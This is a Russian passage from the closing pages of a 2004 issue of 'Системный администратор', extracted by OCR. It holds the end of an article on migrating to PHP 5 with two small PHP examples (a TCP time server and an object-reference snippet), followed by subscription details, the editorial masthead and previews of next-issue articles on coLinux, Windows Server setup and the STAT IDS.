
РезюмеС моей точки зрения, вопрос, обновлять или не обновлятьPHP, не стоит. Практически ничего не теряя, мы обретаемвпечатляющие новые возможности. Другой вопрос в том,что эти самые возможности диктуют по крайней мере не-сколько иной стиль программирования. Разумеется, мно-гие преимущества пятой версии можно использовать и безэтого, но, несмотря на заявления основателей Zend и са-мого Расмуса Лердорфа, очевидно, что идеология языкасущественно изменилась.

Мне кажется, что это ни хорошо и ни плохо, это простобыло неизбежно.

<?php$socket = stream_socket_server("tcp://0.0.0.0:8000", ↵↵↵↵↵

$errno, $errstr);if (!$socket) { echo "$errstr ($errno)<br />\n";} else { while ($conn = stream_socket_accept($socket)) { fwrite($conn, 'The local time is ' . date('n/j/Y g:i ↵↵↵↵↵

a') . "\n"); fclose($conn); } fclose($socket);}?>

<?phpclass Container {}$c = &new Container;$c->name = "Sterling";echo $c->name;?>

Page 97: 022 Системный Администратор 09 2004

подписка на I полугодие 2005

Российская Федерация! Подписной индекс: 81655

Каталог агентства «Роспечать»! Подписной индекс: 87836

Объединенный каталог «Пресса России»Адресный каталог «Подписка за рабочим столом»Адресный каталог «Библиотечный каталог»

! Альтернативные подписные агентства:Агентство «Интер-Почта» (095) 500-00-60, курьерскаядоставка по МосквеАгентство «Вся Пресса» (095) 787-34-47Агентство «Курьер-Прессервис»

! Подписка On-linehttp://www.arzy.ruhttp://www.gazety.ruhttp://www.presscafe.ru

СНГВ странах СНГ подписка принимается в почтовых отделе-ниях по национальным каталогам или по списку номенкла-туры АРЗИ:! Казахстан – по каталогу «Российская Пресса» через

ОАО «Казпочта» и ЗАО «Евразия пресс»! Беларусь – по каталогу изданий стран СНГ через РГО

«Белпочта» (220050, г.Минск, пр-т Ф.Скорины, 10)

! Узбекистан – по каталогу «Davriy nashrlar» российскиеиздания через агентство по распространению печати«Davriy nashrlar» (7000029, Ташкент, пл.Мустакиллик,5/3, офис 33)

! Азербайджан – по объединенному каталогу российскихизданий через предприятие по распространению печа-ти «Гасид» (370102, г. Баку, ул. Джавадхана, 21)

! Армения – по списку номенклатуры «АРЗИ» через ГЗАО«Армпечать» (375005, г.Ереван, пл.Сасунци Давида, д.2)и ЗАО «Контакт-Мамул» (375002, г. Ереван, ул.Сарья-на, 22)

! Грузия – по списку номенклатуры «АРЗИ» через АО«Сакпресса» ( 380019, г.Тбилиси, ул.Хошараульская, 29)и АО «Мацне» (380060, г.Тбилиси, пр-т Гамсахурдия, 42)

! Молдавия – по каталогу через ГП «Пошта Молдавей»(МД-2012, г.Кишинев, бул.Штефан чел Маре, 134)по списку через ГУП «Почта Приднестровья» (МD-3300,г.Тирасполь, ул.Ленина, 17)по прайслисту через ООО Агентство «Editil Periodice»(2012, г.Кишинев, бул. Штефан чел Маре, 134)

! Подписка для Украины:Киевский главпочтампПодписное агентство «KSS»Телефон/факс (044)464-0220

Подписныеиндексы:

81655по каталогуагентства«Роспечать»

87836по каталогуагентства«ПрессаРоссии»

95№9(22), сентябрь 2004

Page 98: 022 Системный Администратор 09 2004

96

СИСТЕМНЫЙ АДМИНИСТРАТОР№9(22), Сентябрь, 2004 год

РЕДАКЦИЯИсполнительный директорВладимир ПоложевецОтветственный секретарьНаталья Хвостова[email protected]Технический редакторВладимир ЛукинРедакторАндрей Бешков

РЕКЛАМНАЯ СЛУЖБАтел./факс: (095) 928-8253Константин Меделянreс[email protected]

Верстка и оформление[email protected][email protected]Дизайн обложкиНиколай Петрочук

103045, г. Москва,Ананьевский переулок, дом 4/2 стр. 1тел./факс: (095) 928-8253Е-mail: [email protected]: www.samag.ru

РУКОВОДИТЕЛЬ ПРОЕКТАПетр Положевец

УЧРЕДИТЕЛИВладимир ПоложевецАлександр Михалев

ИЗДАТЕЛЬЗАО «Издательский дом«Учительская газета»

Отпечатано типографиейГП «Московская Типография №13»Тираж 7000 экз.

Журнал зарегистрированв Министерстве РФ по делам печати,телерадиовещания и средств мас-совых коммуникаций (свидетельствоПИ № 77-12542 от 24 апреля 2002г.)

За содержание статьи ответствен-ность несет автор. За содержаниерекламного обьявления ответствен-ность несет рекламодатель. Все пра-ва на опубликованные материалы за-щищены. Редакция оставляет за со-бой право изменять содержание сле-дующих номеров.

ЧИТАЙТЕВ СЛЕДУЮЩЕМНОМЕРЕ:

Вы можете приобретать журналы в магазинахи торговых точках г. Москвы по адресам:

! Магазин «Компьютерная и деловая книга» (Ленинский проспект, строение 38)! Дом технической книги (Ленинский проспект, 40)! Московский дом книги (Улица Новый Арбат, 8)! Выставочный компьютерный центр «Савеловский» (Киоск у главного входа)! Выставочный компьютерный центр «Буденовский»! Книжная ярмарка в СК «Олимпийский» (Нижний этаж, место 70А)

График работы: с 9-00 до 14-00 ежедневно, кроме пн. и вскр.! Книжная ярмарка «Центральная». Mагазин «Деловая и учебная литерату-

ра» (м. Тульская, Варшавское шоссе, д.9. эт. 5, павильон 515-09).! ТЦ «Электроника на Пресне». Mагазин «Техкнига» (павильон 8-9).! Редакция «Учительская газета» (Ананьевский переулок, д. 4/2, стр. 1).

On-line магазины:

! www.linuxshop.ru! www.linuxcenter.ru! www.bolero.ru

Знакомствос Cooperative Linux25-27 января 2004 года новостные лен-ты большинства информационных из-даний, так или иначе посвященныхкомпьютерной тематике, пестрили та-кими сообщениями: «Linux теперь мож-но запускать в Windows», «Linux иWindows без перезагрузок», «Револю-ционное изобретение 21-летнего ге-ния» и т. д. Мир узнал о новом проекте –Cooperative Linux (сокращенно coLinux).В анонсах сообщалось о том, что те-

Установка и настройкаW2K Server – Step-by-StepДанная статья – попытка автора систе-матизировать свой опыт по установкеи настройке Windows 2000/2003 Serverдля начинающих технических специали-стов. Она не претендует на полноту иабсолютную однозначность методов, апредназначена исключительно для пре-доставления начального опыта по на-стройке серверных систем на основеWindows 2000/2003 Server по принципупошаговой инструкции. STAT – совсем другая IDS

Сегодня основную нагрузку по защи-те сетей принимают на себя firewall иприложения уровня домена, предназ-наченные для подтверждения подлин-ности пользователей. Несмотря на точто эти приложения в основном справ-ляются со своей задачей, они не могутполностью решить все проблемы позащите сетей и отдельных хостов. Икак следствие, на помощь приходятсистемы обнаружения атак (СОА илиIntrusion detection systems – IDS).

В статье речь пойдет о проекте StateTransition Analysis Technique (STAT).

перь появился еще один способ «под-ружить» две самые популярные опера-ционные системы – Linux и Windows.Для достижения поставленной целиразработчики использовали довольноинтересное решение – запуск Linux-ядра как отдельного процесса Windows.

Последняя доступная на момент на-писания статьи stable-версия coLinux –0.6.1, именно о ней и пойдет речь в дан-ной статье.

ОТКРЫТА ПОДПИСКАна первое полугодие 2005 года